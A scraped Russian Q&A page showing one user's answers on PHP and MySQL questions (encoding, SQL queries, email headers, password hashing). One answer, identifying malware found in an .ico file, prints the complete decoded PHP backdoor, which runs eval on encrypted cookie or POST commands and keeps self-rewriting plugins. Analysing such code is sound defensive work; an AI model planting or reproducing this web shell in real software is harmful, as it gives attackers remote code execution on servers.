Задать вопрос
Ответы пользователя по тегу PHP
  • Ошибка соединения с сервером. Попробуйте позже. Как исправить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А почему вы решили, что ошибка $db->query($query) вызвана именно отсутствием соединения с сервером?
    Ответ написан
    Комментировать
  • Почему mysql экранирует кавычки в json?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы передаёте не JSON, а строку. Если хотите, чтобы она воспринималась именно как JSON, укажите это явно через CAST('$jsArr' AS JSON).
    Ответ написан
    1 комментарий
  • Как исправить проблему с кодировкой?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту в заголовках письма должны использоваться только символы из основного ASCII-набора (0x00-0x7F). Все остальные символы должны быть закодированы.
    Если письмо содержит HTML-часть, то крайне желательно добавить соответствующую по тексту PLAIN-часть. Тип письма должен быть multipart/alternative.
    При несоблюдении этих условий резко возрастает вероятность попадания письма в спам.
    Кодировку лучше использовать UTF-8, как наиболее универсальную.
    $fromName = "=?UTF-8?B?" . base64_encode($fromName) . "?=";
    $toName = "=?UTF-8?B?" . base64_encode($toName) . "?=";
    $subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
    $boundary = md5(rand());
    $headers = "From: {$fromName} <${fromEmail}>\r\n".
               "MIME-Version: 1.0\r\n" .
               "Content-type: multipart/alternative; boundary={$boundary}\r\n"; 
    $message = "\r\n--{$boundary}\r\n" .
               "Content-Type: text/plain; charset=UTF-8\r\n\r\n" .
               $plainMessage .
               "\r\n--{$boundary}\r\n" .
               "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
               $htmlMessage .
               "\r\n--{$boundary}--\r\n";
    mail("{$toName} <{$toEmail}>", $subject, $message, $headers);
    Ответ написан
    Комментировать
  • Почему скрипт ничего не выводит?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы весь результат уже получили через get_result(), курсор в $stmt дошёл до конца. Теперь перебирайте $result его методами.
    Ответ написан
    Комментировать
  • Как узнать порядковый номер записи из выборки из двух таблиц?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо обернуть запрос ещё в один SELECT
    SET @row = 0;
    SELECT *, @row := @row + 1 AS `pos`
      FROM (
        SELECT `t1`.`id`, `t1`.`hm`, `t2`.`name`
          FROM (
            SELECT `target_id` AS `id`, SUM(`cnt`) AS `hm`
              FROM `votes`
              GROUP BY `target_id`
          ) AS `t1`
          JOIN `people` AS `t2` ON `t2`.`id` = `t1`.`id`
          ORDER BY `t1`.`hm` DESC, `t2`.`name` ASC 
          LIMIT 10
      ) AS `x`
    Ответ написан
    6 комментариев
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать
  • Почему не получается подключится к БД через функцию?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Область видимости переменной $dbc ограничена функцией connect().
    Ответ написан
    1 комментарий
  • Безопасно ли так хешировать пароли?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Зачем изобретать велосипед, когда давно уже есть password_hash()
    Ответ написан
    7 комментариев
  • Как выбрать данные из таблицы по похожим данным их массива?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Приведите базу в нормальную форму, выделите поле `dat` в отдельную таблицу `user_dats` (`user_id`, `dat`), где в каждой строке будет содержаться только одно значение из `dat` и пара (`user_id`, `dat`) образует первичный ключ.
    Затем используйте запрос
    SELECT * 
      FROM (
        SELECT `user_id`
          FROM `user_dats`
          WHERE `dat` IN (1, 2, 3, 4, 5)
          GROUP BY `user_id`
      ) AS `uid`
      JOIN `table` ON `uid`.`user_id` = `table`.`id`
    Ответ написан
  • Как проверить, входит ли работа во временной период?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    <?php
    $begin = new DateTime('09:00');
    $end = new DateTime('21:00');
    $intervals = array(
      array(new DateTime('10:00'), new DateTime('10:15')),
      array(new DateTime('10:15'), new DateTime('11:45')),
      array(new DateTime('12:30'), new DateTime('16:00'))
    );
    $time = 90;
    
    function checkInterval($begin, $end, $time) {
      $intervalDiff = $begin->diff($end);
      $intervalMinutes = $intervalDiff->h * 60 + $intervalDiff->i;
      if ($intervalMinutes >= $time) {
        echo $begin->format('H:i'), ' - ', $end->format('H:i'), "\n";
      }
    }
    
    $intervalStart = $begin;
    foreach ($intervals as $interval) {
      checkInterval($intervalStart, $interval[0], $time);
      $intervalStart = $interval[1];
    }
    checkInterval($intervalStart, $end, $time);
    Ответ написан
    1 комментарий
  • В чем может быть проблема php notice: Use of undefined constant string - assumed 'string' in?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Скорее всего, ошибка не в этой функции, а в файле класса, экземпляр которого создаётся через new.
    Ответ написан
    Комментировать
  • Как решить данную задачу (Олимпиадная)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Поскольку в запросах используется только равенство, то изначально не разделять свойства товаров по символу =.
    Подготовить массив, где каждой паре 'свойство=значение' будет соответствовать массив со списком товаров.
    [
      'width=5' => [0, 3],
      'ht=3' => [0, 3],
      'len=10' => [0],
      'name=circ' => [1, 2],
      'rad=5' => [1, 2].
      'name=sqr' => [3]
    ]

    Затем по списку свойств в запросе выбирать массивы, если их больше одного, то находить их пересечение через array_intersect и выдавать размер полученного пересечения.
    array_intersect([0, 3], [0, 3]) = [0, 3]
    [1, 2]
    [3]
    array_intersect([0, 3], [0]) = [0]
    Ответ написан
  • Почему отправляются кракозябры?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Не задана кодировка письма (заголовок Content-Type).
    Ответ написан
  • В каком часовом поясе будет отосланное время из Москвы в формате UTC в Нью-Йорке?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если в переменной $a всегда время в часовом поясе сервера, то как тогда доставить клиенту правильное время?

    А вот как раз отправить клиенту время в UTC и пусть он сам переводит его в локальное с учётом региональных настроек.
    Ответ написан
  • Как сделать файловый менеджер с электронной подписью?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Для начала определитесь, какую подпись будете использовать. Будут ли пары ключей выдаваться вашим сервером или вы будете использовать ЭЦП аккредитованных вами УЦ. Если подписи генерируются у вас, то будут ли оба ключа храниться на сервере или закрытый ключ будет только у пользователя.

    В любом случае перед подписанием документа необходимо сформировать его хэш. Для этого крайне желательно интегрировать в документ все ресурсы, на которые он ссылается (шрифты, вложенные документы, картинки и т.д.). Затем выделяется часть документа, которую необходимо закрыть подписью (в простейшем случае - это весь файл документа) и по ней вычисляется какой-либо хэш. Этот хэш шифруется закрытым ключом, полученный зашифрованный хэш и является подписью.

    Для проверки проводится точно такая же процедура генерации хэша, подпись дешифруется открытым ключом и сравнивается с только что вычисленным хэшем. Если они совпадают, то подпись действительна.

    Хранение подписей зависит от того, должна ли следующая подпись утверждать предыдущую или только сам документ. Для простых подписей достаточно в отдельной таблице хранить ссылку на документ, на подписавшего и саму подпись. Для цепочки необходимо добавить ещё ссылку на предыдущую подпись.
    Ответ написан
  • Ошибка e_deprecated в PHP?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    E_STRICT предлагает изменения кода для повышения переносимости программ и работы в будущих версиях.
    E_DEPRECATED предупреждает об использовании не рекомендуемых функций и операторов, которые, возможно, будут удалены в будущих релизах.
    Ответ написан
  • Как узнать код символа в PHP?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    print bin2hex("И");
    d098

    print bin2hex(mb_convert_encoding("И", 'UCS-2', 'UTF-8'));
    0418
    Ответ написан
    Комментировать
  • Как сравнить два массива и для каждого получить только уникальные значения?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • Как отправить текст в MySQL сохранив переносы строки?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    nl2br
    И не вставляйте текст в запрос напрямую, используйте подготовленные запросы.
    Ответ написан
    Комментировать
  • Обращение к boolean как к массиву не выдает ошибки. Это фича такая?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    For any of the types integer, float, string, boolean and resource, converting a value to an array results in an array with a single element with index zero and the value of the scalar which was converted. In other words, (array)$scalarValue is exactly the same as array($scalarValue).

    Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL.
    Ответ написан
    1 комментарий